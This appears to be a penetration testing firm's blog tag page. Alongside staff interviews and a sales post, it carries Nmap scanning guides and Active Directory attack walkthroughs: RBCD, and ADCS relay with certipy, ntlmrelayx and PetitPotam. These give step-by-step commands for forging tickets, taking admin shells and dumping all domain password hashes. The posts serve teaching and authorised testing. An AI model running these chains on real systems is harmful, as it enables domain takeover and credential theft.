Tag: Penetration Testing

  • Raxis: Your Trusted Partner in Penetration Testing

    Raxis: Your Trusted Partner in Penetration Testing

    I’m Cole Stafford, a Sales Development Representative at Raxis. I help with customer relations, building the contracts, and making sure everything gets out in a timely order. I’m proud to be a part of the Raxis team and share a few of the reasons why below.

    At Raxis, we redefine the penetration test experience by prioritizing customer satisfaction and simplifying the entire process. As a leading name in cybersecurity assessments, we understand that the concept of penetration testing can be daunting. We’ve crafted our approach, not only to uncover vulnerabilities effectively, but also to ensure our clients feel supported and valued every step of the way.

    Customer-Centric Approach

    Our philosophy revolves around building strong client relationships. Raxis believes that commitment to low-pressure sales and prompt responsiveness is key to customer satisfaction. We pride ourselves on quick response times.

    Cole and the Raxis sales team at an Atlanta conference

    We endevor to respond to all client inquiries promptly during business hours, demonstrating our commitment to excellence in supporting our customers when it matters. Choosing Raxis means partnering with a team dedicated to making your cybersecurity journey smooth and stress-free.

    Personalized Service

    Unlike cookie-cutter approaches, Raxis tailors each penetration test to meet the unique needs of our clients. We listen attentively to your requirements and recommend solutions that best fit your specific situation. This personalized approach ensures you receive targeted insights and actionable recommendations.

    Friendly Expertise

    While penetration testing can appear complex, our team at Raxis is known for its approachable demeanor and deep expertise. Our senior penetration testers, each with years of experience in both cybersecurity and IT, ensure assessments are conducted with precision and professionalism. We prioritize clear communication and make technical details understandable for all stakeholders.

    Beyond assessments, we see ourselves as educators in cybersecurity. We guide clients through the process, simplifying technical language and delivering comprehensive reports that outline risks and provide steps for improvement.

    Easy button

    Our aim is not only to identify vulnerabilities, but also to empower you with the knowledge to enhance your security. It’s not your job to know the ins and outs of cybersecurity on your own. We aim to be an easy button for our customers so that they know their risks and are empowered to close those gaps.

    Why Raxis?

    Raxis blends high-level technical acumen with a friendly, accessible approach that sets us apart. From initial contact to post-assessment support, we strive to be your go-to partner — making cybersecurity effective, straightforward, and enjoyable.

    Conclusion

    At Raxis, we are more than a cybersecurity firm; we’re your partner in safeguarding what matters most to your business. Discover the difference of working with a team that values your satisfaction and aims to exceed your expectations at every turn.

    For a penetration testing experience that’s as friendly as it is effective, choose Raxis. Contact us today to secure your digital infrastructure with confidence and ease.

  • Cool Tools Series: NMAP for Penetration Tests

    Cool Tools Series: NMAP for Penetration Tests

    In Scottie’s recent Cool Tools blog about discovery tools, he, like many network penetration testers, starts with Nmap. Nmap is a great discovery tool with many flags and scripts. In this post, I will expand upon Scottie’s ideas and delve more deeply into what Nmap has to offer, specifically for network penetration testing.

    Hosts Marked as Down When They Are Up

    If you find you have problems with Nmap flagging hosts as down, even though they should be up, I would recommend adding these flags to your command:

    • -PS – SYN ping scan. You can optionally add a port number after this.
    • PA – ACK ping scan. You can optionally add a port number after this.
    • -PE – Typical ICMP ping echo request, typically blocked by firewalls.
    • -PP – ICMP timestamp ping query, which can sometimes get around misconfigured firewalls.
    • -PM – ICMP subnet mask ping query, also good for evading misconfigured firewalls.
    • -PO -This issues an IP protocol ping, which seems to work a lot of times when other probes don’t.

    Putting that all together, my typical scans are now starting to look like this:

    sudo nmap -oA [output] -sSUV --unique --resolve-all -PS -PA -PE -PP -PM -PO -T4 -O -p T:-,U:53,161 -vv -iL [targets]

    Some other options present here:

    • -oA [output– Output in all file formats simultaneously.
    • -sSUV – Combo of -sS (TCP SYN scan), -sU (UDP scan), and -sV (service version scanning).
    • –unique – Scan each IP only once (e.g. if raxis.com resolves to 1.1.1.1, and both are targets, only scan 1.1.1.1 once).
    • –resolve-all – If an DNS name resolves to multiple IPs, scan each IP.
    • -T4 – Go a bit faster than default, recommended for modern networks (unless you’re trying to be quiet).
    • -O – Try to determine operating system.
    • -p T:-,U:53,161 – Scan all TCP ports as well as UDP ports 53 (DNS) and 161 (SNMP).
    • -vv – Be very verbose in output.
    • -iL [targets– Use the targets in the specified file.

    Additionally, when using -oA, if your scan gets interrupted, you can use this to resume the scan where it left off:

    nmap --resume

    The Nmap Scripting Engine

    The Nmap Scripting Engine (NSE) provides 604 scripts and 139 libraries at the time I’m writing this. That number grows each year, so, needless to say, this is a very useful tool for penetration testers or for blue teams checking out possible vulnerabilities in their systems. I’ll discuss some Useful NSE scripts here, and I encourage you to take a look to see if there are others that would be helpful for your needs.

    Shodan

    • Queries the Shodan API for the targets. Follow the instructions on the NSE site to setup a Shodan API key.
    nmap --script shodan-api [IP Range] -sn -Pn -n --script-args 'shodan-api.outfile=potato.csv,shodan-api.apikey=SHODANAPIKEY'
    nmap --script shodan-api --script-args 'shodan-api.target=[IP],shodan-api.apikey=SHODANAPIKEY'

    Server Message Block (SMB)

    • Check if SMB signing is disabled:
    nmap --script smb-security-mode -p445 [IP]

    File Shares

    • Attempt to enumerate SMB shares:
    nmap --script smb-enum-shares -p445 [IP]
    • Show NFS Shares (Exports):
    nmap -sV --script=nfs-showmount [IP List or Range]
    • Attempt to get useful information from NFS shares (mimics an -ls command):
    nmap -p 111 --script=nfs-ls [IP List or Range]
    nmap -sV --script=nfs-ls [IP List or Range]

    Databases

    • Attempts to find configuration and version info for a Microsoft SQL Server instance:
    nmap -p 445 --script ms-sql-info [IP]
    nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 [IP]
    • Looks for MySQL servers with an empty password for root or anonymous:
    nmap -sV --script=mysql-empty-password [IP]

    Domain Name Server (DNS)

    • Perform DNS Cache Snooping:
    nmap -sU -p 53 --script dns-cache-snoop --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}' [IP]
    • Checks DNS anti-spam and open proxy blacklists to see if an IP has been flagged:
    nmap --script dns-blacklist --script-args='dns-blacklist.ip=[IP]'
    nmap -sn [IP] --script dns-blacklist

    Virtual Private Network (VPN)

    • Checks if the host is vulnerable to the Cisco ASA SSL VPN Authentication Bypass Vulnerability:
    nmap -p 443 --script http-vuln-cve2014-2128 [IP]

    Network Time Protocol (NTP)

    • Shows an NTP server’s monitor data:
    sudo nmap -sU -pU:123 -Pn -n --script=ntp-monlist [IP]

    Remote Access

    • Attempts to brute-force a VNC server:
    nmap --script vnc-brute -p 5900 [IP]
    • Discovers the security layer and encryption level that is supported by a RDP service:
    nmap -p 3389 --script rdp-enum-encryption <ip>

    Network Protocols

    • Attempts to brute-force a POP3 account:
    nmap -sV --script=pop3-brute [IP]
    • Attempts to brute-force a telnet server:
    nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s [IP]

    Java

    • Attempts to dump all objects from a remote RMI registry:
    nmap --script rmi-dumpregistry -p 1098 [IP]
    nmap --script rmi-dumpregistry -sV --version-all -p 443 [IP]

    Weak Ciphers & Algorithms

    • Enumerates all web ciphers that a server accepts:
    nmap -sV --script ssl-enum-ciphers -p 443 <host>
    • Finds the number of algorithms the SSH2 server offers (or lists them with verbosity set):
    nmap --script ssh2-enum-algos [IP]

    Certificates

    • Displays the server’s SSL certificate. Set verbosity to add more details:
    nmap --script=ssl-cert -p 443 [IP]

    Http

    • Checks if HTTP TRACE is enabled:
    nmap --script http-trace -d [IP]

  • Cool Tools Series: Host Discovery

    Before starting any penetration test, you must know the scope of the work. Depending on the type of assessment, this could be specific hosts or full ranges of IP addresses with live hosts scattered throughout. If the scope is the latter, then it is a good idea to initially identify which hosts are live and then discover common, known vulnerabilities on the hosts. This will narrow down the attack surface and potential attack vectors to help establish a list of priority targets during the assessment.  

    There are several tools that I like to use when I start a new assessment. Some are free open-source tools, while others are commercial.

    Open-Source Tools

    Nmap

    The first tool I always use in Nmap. Nmap is an open-source tool that can identify live hosts and services by conducting protocol enumeration across systems. It can also be used for specific configuration checks or even as a vulnerability scanner by using the Nmap Scripting Engine (NSE).

    Even when I use Nmap with vulnerability scanners, I still regularly utilize Nmap scripts. Nmap come pre-installed with Kali Linux but can easily be installed on any Linux or Windows system. Using Nmap for the first time can be intimidating, but after using it for a bit, users often find it very easy and reliable.  I usually run the initial scans by ignoring ICMP checks (Ping) and just assume that all hosts are live. I do this because some network admins like to disable ICMP on live hosts as a security measure (Good on ’em!).

    nmap -v -A --open -Pn -iL targets.txt -oA nmap_scan

    Note: -Pn disables the ICMP check.

    If the scope is extremely large and the Nmap scans won’t complete in the time allowed, I enable the ICMP check by remove the “-Pn”:

    nmap -v -A --open -iL targets.txt -oA nmap_scan

    Below is a screen shot of a typical initial scan I perform on network assessments (internal & external):

    nmap -v -A -Pn --open {IP Range} -oA {Output File Name}
    Nmap Discovery Scan

    The commands above are easy to learn once you use them a few times, and I’ll cover what is going on here.  

    • First, I like to use the “-v” which enables verbose outputs.
    • The “-A” enables OS and version detection, as well as script scanning and traceroute output.
    • “-Pn” disables ICMP ping for host discovery, causing the scan to assume that all hosts are live.
    • Next, we have the IP range, in this instance a standard /24 internal network. If I have specific hosts or multiple ranges to target, I will create a text file and use the “-iL” switch to point to the text file.
    • Lastly, I like to output the results to all supported formats by setting “-oA.” The reason I do this is because I like to ensure I have the different file types for future use. For example, the .nmap output is easy to read when I want to scan through the output. I typically use the XML output for importing into Metasploit or when using Eyewitness to enumerate web hosts.

    There are quite a few good cheat sheets out there too if you let the Googles do the work for you. If not, follow this series for more Nmap tips and tricks in the future.

    Masscan

    Another tool similar to Nmap is Masscan. Masscan is a TCP port scanner that scans faster than Nmap. Unlike Nmap, Masscan requires you to define the ports you want to scan. I typically don’t use Masscan and just stick with Nmap, but it’s a good option if you want to quickly look for specific open ports on a network.

    OpenVas

    Another tool I use on occasion is OpenVAS (a.k.a. Greenbone), a vulnerability scanner. Greenbone offers a commercial version, but there is an open-source version available as well. I’ve used this many times when I am unable to access my usual vulnerability scanners. One downside to the tool is that It can be difficult to install. I recently followed the instructions for installing with Kali and ran into quite a few issues with the install. I’ve also noticed that the initial setup can take some time due to the signatures that are downloaded. If purchasing a commercial vulnerability scanner is too expensive, then Greenbone is definitely worth looking into, despite its challenges.

    OpenVAS Dashboard

    Commercial Tools

    Nessus

    By far, my favorite vulnerability scanner is Tenable’s Nessus. There is a free version available, but it’s limited to 16 IP addresses. If you are doing a lot of vulnerability scanning or time-boxed penetration tests, then it might be worth looking into purchasing this.

    The thing I like most about Nessus is how I can sort by vulnerabilities across all hosts in a given scan. I can also sort these vulnerabilities by risk rating, which helps me narrow down critical or specific vulnerabilities to exploit or signs that a host or service may be a high priority for a closer look.

    When viewing Nessus results, never ignore the informational findings. They often provide clues that more may be going on on a host or service than you realize at first glance.

    Nexpose

    Another great vulnerability assessment tool is Nexpose, owned by Rapid7. Nexpose is similar to Nessus, as it provides similar vulnerabilities. There are some slight differences in the way the products display results.

    Nexpose is built around “sites.” Each site has defined hosts or IP ranges under it. From there each host’s vulnerabilities will be listed.  The easiest way I’ve found to list out all vulnerabilities is to create a report from the site I’m working in.

    Besides greater extensibility, one major advantage with Nexpose is that it ties in with Rapid7’s vulnerability management product, InsightVM. If you’re looking for a full vulnerability management solution and not just a vulnerability scanner, Nexpose is a good option to check out.

    There are many other tools that I use, but these are always my first go to tools to start an assessment. 

    Follow the series!

    Stay tuned for more posts in the Cool Tools series, where the Raxis penetration testing team will highlight some of their favorite tools and explain how to get started with them.

    Take a look as Adam Fernandez dives into Nmap for Penetration Tests in the next post in this series.

  • Meet the Team: Ryan Chaplin, Lead Penetration Tester

    I’m Ryan Chaplin, lead penetration tester at Raxis. If you team with Raxis for a penetration test, social engineering engagement, or a red team, we might get to work together!

    Bonnie: Tell me a little about your background?

    Ryan: When I was a kid, at about 9 or 10 years old, I started building my own computers. By junior high I was in advanced placement software development courses through Indiana University Southeast.

    Ryan Chaplin playing an arcade game

    This continued through college where I took computer science courses. However, due to the job market, after the 2008 crash, I ended up working in marketing right out of college. I read Automate the Boring Stuff with Python, which was absolutely pivotal because it allowed me to automate 80-90% of my job and focus on skills I wanted to improve. Realistically it means I ended up doing everything but marketing. 

    Bonnie: So how did you get into Penetration Testing?

    Ryan: Several years ago the company I was working at was hacked and was actively serving our customers malware. Our main developer locally was on maternity leave, and our offshore devs were all on holiday. I ended up being the main technical resource who was available and familiar with our website, so I was thrown into the fire for my start.

    At the time I helped develop and deploy a patch. Then, in the medium and long term, we came up with mitigation strategies, but, really for me, that started my passion to learn more through platforms like HackTheBox and OffSec.

    Bonnie: What a way to start your journey into cybersecurity!  Did you just manage to find those platforms and come up with mitigations on your own?

    Ryan: Definitely not! One of my closest friends from undergrad introduced me to the community, and I do believe the cybersecurity industry is much more of a community than most industries. We are all learning and building each other up together. The emphasis in the cybersecurity community about giving back is one of my favorite things about this industry. 

    Bonnie: So community is really important to you?

    Ryan: Absolutely! I’m from a very small town of only about 1,500 people. Everyone knows everyone, and, even though I now live outside of a major city, the lessons I learned in that small town about the importance of sticking together have stayed with me.

    Ryan and his wife

    Bonnie: Wow that is a small community! Anything more you can tell me about that kind of community?

    Ryan: When I was growing up there, no one really had much of anything, so we focused on the good times we could have together. I wouldn’t be where I am today without such a great family and community standing behind me. I still visit several times a year.

    Besides that there are all kinds of fun stories that would take up way too much time. Some other time you will have to remind me to tell you about how we used to take jon boats up the highway when it flooded or stories about Larry Bird – you know he was originally from my hometown – if you are into the NBA or basketball.

    Bonnie: Wait, you are from a town of 1,500 people, and one of them was Larry Bird?

    Ryan: Hahaha! Yeah, I guess it’s a pretty atypical town. It’s Indiana so we already have a much higher percentage of people who are into basketball, but I would say my hometown takes it to another level in terms of enthusiasm.

    Bonnie: So I’m assuming that is probably one of your hobbies? Do you have any others?

    Ryan: Playing and watching basketball are two of my hobbies, but, honestly, I have a lot of hobbies. I’ve also consistently been into running and lifting weights for a very long time. Now that I think of it, my first experience “hacking” really was installing a chip in my PlayStation so I could play homebrew and modified games. So video games have always been around in my life too.

    Sourdough bread Ryan made

    Otherwise, I really enjoy a challenge and learning new things. During COVID that meant mastering my sourdough technique. Lately I have been playing piano for a new challenge. Lastly, of course, I’m into computers. The challenges I’ve been looking into recently, when it comes to computers, are working with and understanding low-level code, like assembly, better.

    Bonnie: I could see that being useful for your cybersecurity career as well. What are your plans with your career?

    Ryan: Yeah, I really think becoming better acquainted with low-level concepts will help me to succeed when I take the OSED in the next year or two. I’d love to eventually get my OSCE3 and a CISSP as well.

    Right now, though, I’m just excited to be joining a team like Raxis. This is a goal I’ve worked towards for over six years, grinding through become a top ranked hacker on HackTheBox, getting my OSCP, and watching countless hours of DefCon and Black Hat talks. There really couldn’t be a better company for it to happen at either. Not only does Raxis have amazing clients and great relationships in the security community, but I’ve also been impressed with each person I’ve worked with so far.

    Bonnie: Thanks for the kind words! We are looking forward to having you on the team full time!

  • AD Series: Resource Based Constrained Delegation (RBCD)

    In a Windows domain, devices have an msDS-AllowedToActOnBehalfOfOtherIdentitity attribute. Per Microsoft, “this attribute is used for access checks to determine if a requestor has permission to act on the behalf of other identities to services running as this account.” In this blog, we will exploit this feature to gain administrative access to a target system in a Resource Based Constrained Delegation (RBCD) attack.

    We’ll be using the Active Directory testing environment we setup in the first post in this series.

    Tools We’ll Be Using

    • NoPAC Scanner
    • Impacket Tools (installed on Kali):
      • addcomputer.py
      • rbcd.py
      • getST.py
      • secretsdump.py
      • psexec.py
    • Certipy

    The Basics of the RBCD Exploit

    First we need to have control of an account with an SPN (Service Principal Name). The easiest way to do this for our test is to create a machine account. By default any non-admin user can create up to 10 machine accounts, but this value is set by the MachineAccountQuota. You can query this info by using NoPAC scanner.

    python3 scanner.py Domain/User -dc-ip DC-IP
    
    Using NoPAC scanner to discover the MachineAccountQuota

    Seeing the MachineAccountQuota above 0 (again default is 10), any user can create a machine account. I used impacket’s addcomputer.py script.

    addcomputer.py ‘domain/user:Password’ -dc-ip DC-IP
    
    Using impacket’s addcomputer script to create a new machine account

    For initial testing I gave the special.user user the write privilege over the lab1 machine.

    The write privilege is all that is needed to modify the msDS-AllowedToActOnBehalfOfOtherIdentitity attribute.

    Adding the write privilege in order to modify the msDS-AllowedToActOnBehalfOfOtherIdentitity attribute

    After giving the write privilege to the account, I used rbcd.py script from impacket to modify the attribute and add the created computer account.

    rbcd.py -delegate-from ‘Controlled Account’ -delegate-to ‘target’ -dc-ip DC-IP -action write ‘Domain/User:Password’
    Using the rbcd.py script to modify the attribute and add the created computer account.

    After configuring the attribute, I used impacket’s getST.py script to get a Kerberos ticket where we impersonate the administrator user on that device. In this case make sure to use the created machine account to login.

    getST.py -spn ‘cifs/target’ -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using impacket’s getST.py script to get a Kerberos ticket where special.user impersonates the administrator user for that device

    In order to use the ticket, first I exported an environment variable that points to the created ticked.

    export KRB5CCNAME={Ticket}
    
    Exporting an environment variable that points to the created ticked

    Now that I have the ticket, I can use it with a bunch of tools. I used secretsdump as an example.

    secretsdump.py administrator@Target -k -dc-ip DC-IP -target-ip Target-IP
    
    Using secretsdump to dump local SAM hashes using the exported ticket

    Note: When using the tickets, make sure the target isn’t an IP address but rather the domain name (i.e. lab1.ad.lab). You can use the target-ip flag to point to the right computer if names don’t resolve. I don’t want to admit how long it took me to figure that out.

    Playing around with RBCD

    Certipy has the ability to access an LDAP shell with a PFX certificate. Say there is web enrollment enabled. As we discussed in the past, you can force the server to authenticate to you then relay it to web enrollment.

    certipy relay -ca CA-IP
    Using certipy to force the server to authenticate to you then relay it to web enrollment

    After a successful relay you can use the saved certificate to access the LDAP shell.

    certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
    Accessing the LDAP shell with PFX certificate

    Once in the LDAP shell you can set up the RBCD attack with the set_rbcd command where the first argument is the target device and the second is the controlled account.

    set_rbcd Target Controlled-Account
    Using set_rbcd to set the target as a controlled account

    After setting up the RBCD, it’s the same as before using getST to get the ticket and run with it.

    impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using getST.py to get the ticket as before
    impacket-psexec 'Domain/administrator@Target' -k -no-pass -dc-ip DC-IP -target-ip Target-IP
    Using impacket's psexec to gain access to an admin share

    Next I wanted to try the same thing but against the domain controller. So I setup certipy to get a domain controller certificate, as we’ve previously discussed.

    As a note, because it’s a domain controller, the template has to be specified as DomainController, but you can still use it to access an LDAP shell.

    certipy relay -ca CA-IP -template DomainController
    Using certipy to force the server to authenticate to you then relay it to web enrollment, this time using the domain controller template

    Then, as before, I accessed the LDAP shell and set up the RBCD attack.

    certipy auth -pfx Saved-Cert -ldap-shell -dc-ip DC-IP
    Accessing the LDAP shell with PFX certificate again
    set_rbcd Target Controlled-Account
    Using set_rbcd to set the target as a controlled account, this time for a domain controller

    Then it’s just the same thing as the other tests.

    impacket-getST -spn cifs/target -impersonate Target-Account -dc-ip DC-IP ‘Domain/User:Password’
    Using getST.py to get the ticket as before
    impacket-psexec 'Domain/administrator@Target' -dc-ip DC-IP -target-ip Target-IP -k -no-pass
    Using impacket's psexec to gain access to an admin share

    Protecting Against RBCD

    I made a new user, protected.user, to show how to add protections within Active Directory to prevent these attacks. Here I successfully exploit RBCD before adding protections.

    Using getST.py to get the ticket before we've added protections, and it still works like before

    As expected, it worked.

    Now I checked the box that prevents the account from being delegated.

    Checking the "Account is sensitive and cannot be delegated" box in protected.user's settings

    And then I tried again.

    Using getST.py in an attempt to get the ticket after we've added protections, and now it no longer works

    This time the attack didn’t work, which is what we were looking for.

    Microsoft also has a group called Protected Users which should (based on my understanding) enable protections against this and other attacks. While I’ve been blocked before by that group while performing penetration tests, for some reason, in my lab, adding a user to that group did not actually prevent the attack. I’m not sure why, but it didn’t, hence the method I discovered above to be sure the account is protected.

    A Final Note

    The end result for RBCD really is just getting administrative access to a machine. It’s a privilege escalation exploit, and it only works on the machine you’re targeting, not across the domain. If you’re on a DC then great. But it’s still a great way for someone to get admin access to a machine in order to try lateral movement or to access info on that machine during a penetration test.

    Want to learn more? Take a look at the first in this Active Directory Series.

  • AD Series: Active Directory Certificate Services (ADCS) Exploits Using NTLMRelayx.py

    I recently updated the last installment in my AD series – Active Directory Certificate Services (ADCS) Misconfiguration Exploits – with a few new tricks I discovered recently on an engagement. I mentioned that I have seen web enrollment where it does not listen on port 80 (HTTP), which is the default for certipy. I ran into some weird issues with certipy when testing on port 443, and I found that NTLMRelayx.py worked better in that case. As promised, here is a short blog explaining what I did.

    This is basically the same thing as using certipy – just a different set of commands. So here we will go through an example and see how it works.

    First we setup the relay.

    impacket-ntlmrelayx -t {Target} --adcs --template {Template Name} -smb2support
    Impacket command and results.

    The first part of the command points to the target. Make sure to include the endpoint (/certsrv/certfnsh.asp) as NTLMRelay won’t know that on its own. Also make sure to tell NTLMRelay if the host is HTTP or HTTPS.

    The adcs flag tells NTLMRelay that we are attacking ADCS, and the template flag is used to specify the template. This is needed if you are relaying a domain controller or want to target a specific template. However, if you are planning on just relaying machines or users, you can actually leave this part out.

    As connections come in, NTLMRelay will figure out on its own whether it’s a user or machine account and request the proper certificate. It does this based on whether the incoming username ends in a dollar sign. If it ends in a dollar sign NTLMRelay requests a machine certificate, if not it requests a user certificate.

    Once NTLMRelay gets a successful relay, it will return a large Base64 blob of data. This is a Base64 encoded certificate.

    Base64 certificate.

    You can take this Base64 blob and save it to a file. Then just decode the Base64 and save that as a PFX certificate file. After that the attack is the same as the certipy attack in my previous blog. Just use the certificate to login.

    Saving, decoding, and using the Base64 certificate to login.

    Want to learn more? Take a look at the next part of our Active Directory Series.

  • Meet the Team: Nathan Anderson, Lead Penetration Tester

    I’m Nathan Anderson, the newest lead penetration tester at Raxis. I’ve been on the team several months now, but Bonnie cut me some slack since I was booked solid. This might be a good time to remind folks that a pentest earlier in the year is often much easier to schedule no matter what company you trust with your cybersecurity testing!

    Bonnie: So I hear you’ve been working with tech from a young age?

    Nathan: True, I’ve been working with information technology systems for over nine years. It all started in high school when my dad brought home an old Dell tower server that a client decommissioned and an eight port Cisco router. Those hardware pieces became the platform of a young man’s experiments!

    Bonnie: And you didn’t stop there. You continued into an IT degree in college as well?

    Nathan: Exactly, I went from experimenting at home to college where I discovered Red Teaming and found my calling. I also ended up practicing coding and digital forensics. My forensics teacher at LCCC ended up losing a bet against a group of us regarding an off-hours project and bought us tickets to a Cleveland Browns game. Lots of fun memories there!

    Bonnie: Now that sounds like a fun group! And by the time we met you, you had a number of certs under your belt too!

    Nathan: After my experience in college I knew what I wanted to do, but I also knew that certificates hold more weight in the cybersecurity field… and I also realized that I needed some practice at pentesting. I started using HackTheBox and TryHackMe to practice while I got ready to take my OSCP.

    Bonnie: With all of that time staring a computer, what do you do to relax?

    Nathan: Well, in my spare time I end up focusing more on tech projects, which I really truly enjoy. Recently, I have been working on a Raspberry Pi 4 and Pico Pi Micro Controllers. There’s always some new tech I want to get my hands on!

    Bonnie: That’s awesome! But please tell me you really do get to step away from the computers sometimes and just chill?

    Nathan: In my spare time, I really enjoy kayaking, hiking, and fishing! I have been kayaking all over Ohio, from Lake Erie down to the Hocking River in southern Ohio. It has been something that is always relaxing for me. I have also been hiking all across the northeastern U.S. Last year, my wife and I drove to the White Mountains in New Hampshire to get away. It was awesome!

    The Ozarks
    The Ozarks

    Bonnie: You’re joining a good crew then! When our marketing director, Jim retired, he hiked more than half of the Appalachian Trail, and Brian and Brad have been known to go on hiking adventures together. Last year while I was in Norway, Mark’s family talked me into kayaking… I was nervous, but I agree with you now! It’s so relaxing and beautiful!

    Nathan: We have made our trips within driving distance from our home, however, for us “driving distance” has meant up to 12 hours of driving. We have driven to the Ozarks in Missouri, to the Smoky Mountains in Tennessee, to the Upper Peninsula in Michigan, and to the White Mountains in New Hampshire. It has lead to some great journeys! For our next trip, it isn’t going to be driving distance, I am shooting for Ireland. We will see what happens with that!

    Bonnie: Those all sound amazing!

    Nathan: One of our favorite non-outdoors things to do when traveling is finding the most interesting food we can. Recently we found the most interesting place when we were in Missouri at a place called “Top of the Rock.” One of the restaurants there served caribou stew and 90-day dry-aged steaks. I can tell you right now, I will absolutely be having both of those again.

    Nathan and his wife, Emmy, enjoying a bakery they found in New Jersey
    Nathan and his wife, Emmy, enjoying a bakery they found in New Jersey

    Bonnie: Well, we’re really excited to have you on the Raxis team.

    Nathan: I really enjoy the team here. I’m able to reach out to anyone with a question, and, if they don’t have the answer, they always direct me to the person who does. My favorite part of being a pentester is getting paid to break into things, and, at the same time, getting paid to basically have fun.

  • Just Your Friendly Neighborhood Whitehat Hackers

    In the past few weeks lay-offs at several large pentesting companies have been in the news. At Raxis we understand the struggle to find and keep strong talent while balancing that with continuing sales to keep profitable, but it may be more than that.

    With the recent announcement of layoffs that we’ve seen in cybersecurity firms, I can’t help but wonder if these bigger companies are missing the target due to their corporate nature and overly broad service offerings.

    Raxis CEO, Mark Puckett

    We’ve often been tempted to add on to Raxis’ offerings to meet customer’s needs or to join growing markets, but we always come back to a focus on pentesting. From red teams to security reviews, network pentests to application tests, our pentesters are experts in their field and enjoy their work. That’s what keeps them learning (don’t remind them that counts as work and not just fun!) and it’s also what allows us to provide our customers with the highest quality actionable results.

    We’ve had many pentesters come to us stating that they no longer want to work for larger operations.

    And we get that. I feel the same way, but it feels good to know that the team at Raxis agrees and feels that we’ve built a company where each of us is a key part of the team and feels appreciated. There are no small roles at Raxis, and each of us knows that.

    Being small allows us to maintain our strong feeling of camaraderie, despite the limitations of being virtual. We make it a point to get to know each other, have ‘zoom happy-hours,’ and encourage chatting on things outside of work from time to time on Slack.

    Being 100% virtual makes for a very short commute and a pleasant work environment, but that’s not what makes Raxis special. Our team is very supportive, not just for work but also because we respect each other and feel a strong connection. If one of us collects Spam containers (you know who you are), the rest of us send photos of odd Spam we find (in the most surprising places). From kid’s birthday parties to cracking a difficult password, our team is there for each other.

    We are largely a group of whitehat hackers, making it much easier to attract top talent in our industry.

    That’s honestly what makes it so fun to work at Raxis. We’re a group of folks who care about helping companies stay secure. Our job is a lot of fun, but, in the end, we feel good about what we do.

    Interesting in joining the team? We’re looking for part-time contractor pentesters now. US citizens residing in the United States can apply on our Careers page.

  • AD Series: Active Directory Certificate Services (ADCS) Misconfiguration Exploits

    Note: This blog was last updated 1/23/2024. Updates are noted by date below.

    Active Directory Certificate Services (ADCS) is a server role that allows a corporation to build a public key infrastructure. This allows the organization to provide public key cryptography, digital certificates and digital signatures capabilities to the internal domain.

    While using ADCS can provide a company with valuable capabilities on their network, a misconfigured ADCS server could allow an attacker to gain additional unauthorized access to the domain. This blog outlines exploitation techniques for vulnerable ADCS misconfigurations that we see in the field.

    Tools We’ll Be Using
    • Certipy: A great tool for exploiting several ADCS misconfigurations.
    • PetitPotam: A tool that coerces Windows hosts to authenticate to other machines.
    • Secretsdump (a python script included in Impacket): A tool that dumps SAM and LSA secrets using methods such as pass-the-hash. It can also be used to dump the all the password hashes for the domain from the domain controller.
    • CrackMapExec: A multi-fasceted tool that, among other things, can dump user credentials while spraying credentials across the network to access more systems.
    • A test Active Directory environment like the one we provisioned in the first blog in this series.
    Exploit 1: ADCS Web Enrollment

    If an ADCS certificate authority has web enrollment enabled, an attacker can perform a relay attack against the Certificate Authority, possibly escalating privileges within the domain. We can use Certipy to find ADCS Certificate Authority servers by using the tool’s find command. Note that the attacker would need access to the domain, but the credentials of a simple authenticated user is all that is needed to perform the attack.

    certipy find -dc-ip {DC IP Address} -u {User} -p {Password}
    Using Certipy to find an ADCS Certificate Authority Server

    First, while setting up ADCS in my test environment, I setup a Certificate Authority to use for this testing.

    Certipy’s find command also has a vulnerable flag that will only show misconfigurations within ADCS.

    certipy find -dc-ip {DC IP Address} -u {Username} -p {Password} -vulnerable
    Using Certipy’s Vulnerable flag

    The text file output lists misconfigurations found by Certipy. While setting up my lab environment I checked the box for web enrollment. Here we see that the default configuration is vulnerable to the ESC8 attack:

    Web Enrollment Vulnerability

    To exploit this vulnerability, we can use Certipy to relay incoming connections to the CA server. Upon a successful relay we will gain access to a certificate for the relayed machine or the user account. But what really makes this a powerful attack is that we can relay the domain controller machine account, effectively giving us complete access to the domain. Using PetitPotam we can continue the attack and easily force the domain controller to authenticate to us.

    The first step is to setup Certipy to relay the incoming connections to the vulnerable certificate authority.  Since we are planning on relaying a domain controller’s connection, we need to specify the domain controller template.

    certipy relay -ca {Certificate Authority IP Address} -template DomainController
    Using Certipy to Relay Incoming Connections

    Update 1/11/2024: While on an engagement I found that the organization had changed the default certificate templates. They had switched out the DomainController template with another one. So while I could successfully force a Domain Controller to authenticate, I would receive an error when trying to get a DomainController certificate. After a longer time than I care to admit, I used certipy to check the enabled templates and found that DomainController was not one of them. All I had to do was change the template name to match their custom template name. TL;DR: Check the templates if there is an error getting a DomainController certificate.

    Now that Certipy is setup to relay connections, we use PetitPotam to coerce the domain controller into authenticating against our server.

    python3 PetitPotam.py -u {Username} -p {Password} {Listener IP Address} {Target IP Address}
    Using PetitPotam to force authentication

    After Certipy receives the connection it will relay the connection and get a certificate for the domain controller machine account.

    Successful relay attack

    We can then use Certipy to authenticate with the certificate, which gives access to the domain controller’s machine account hash.

    certipy auth -username {Username} -domain {Domain} -dc-ip {DC IP Adress} -pfx {Certificate}
    Getting Machine Hash

    We can then use this hash with Secretsdump from the impacket library to dump all the user hashes. We can also use the hash with other tools such as CrackMapExec (CME) and smbclient. Basically anything that allows us to login with a username and hash would work. Here we use Secretsdump.

    impacket-secretsdump {Domain/Username@IP Address} -hashes {Hash}
    Dumping the domain

    At this point we have complete access to the windows domain.

    Update 1/23/2024: I have seen web enrollment where it does not listen on port 80 over HTTP, which is the default for certipy. I tried to use certipy on an engagement where web enrollment was listening only over HTTPS, and I ran into some weird issues. I found that NTLMRelay seems to work better in that situation, so I’ve written a new post detailing that attack.

    Exploit 2: ESC3

    In order to test additional misconfigurations that Certipy will identify and exploit, I started adding new certificate templates to the domain. While configuring the new template, I checked the option for Supply in the request, which popped up a warning box about possible issues.

    Warning on new certificate

    Given that I want to exploit possible misconfigurations, I was happy to see it.

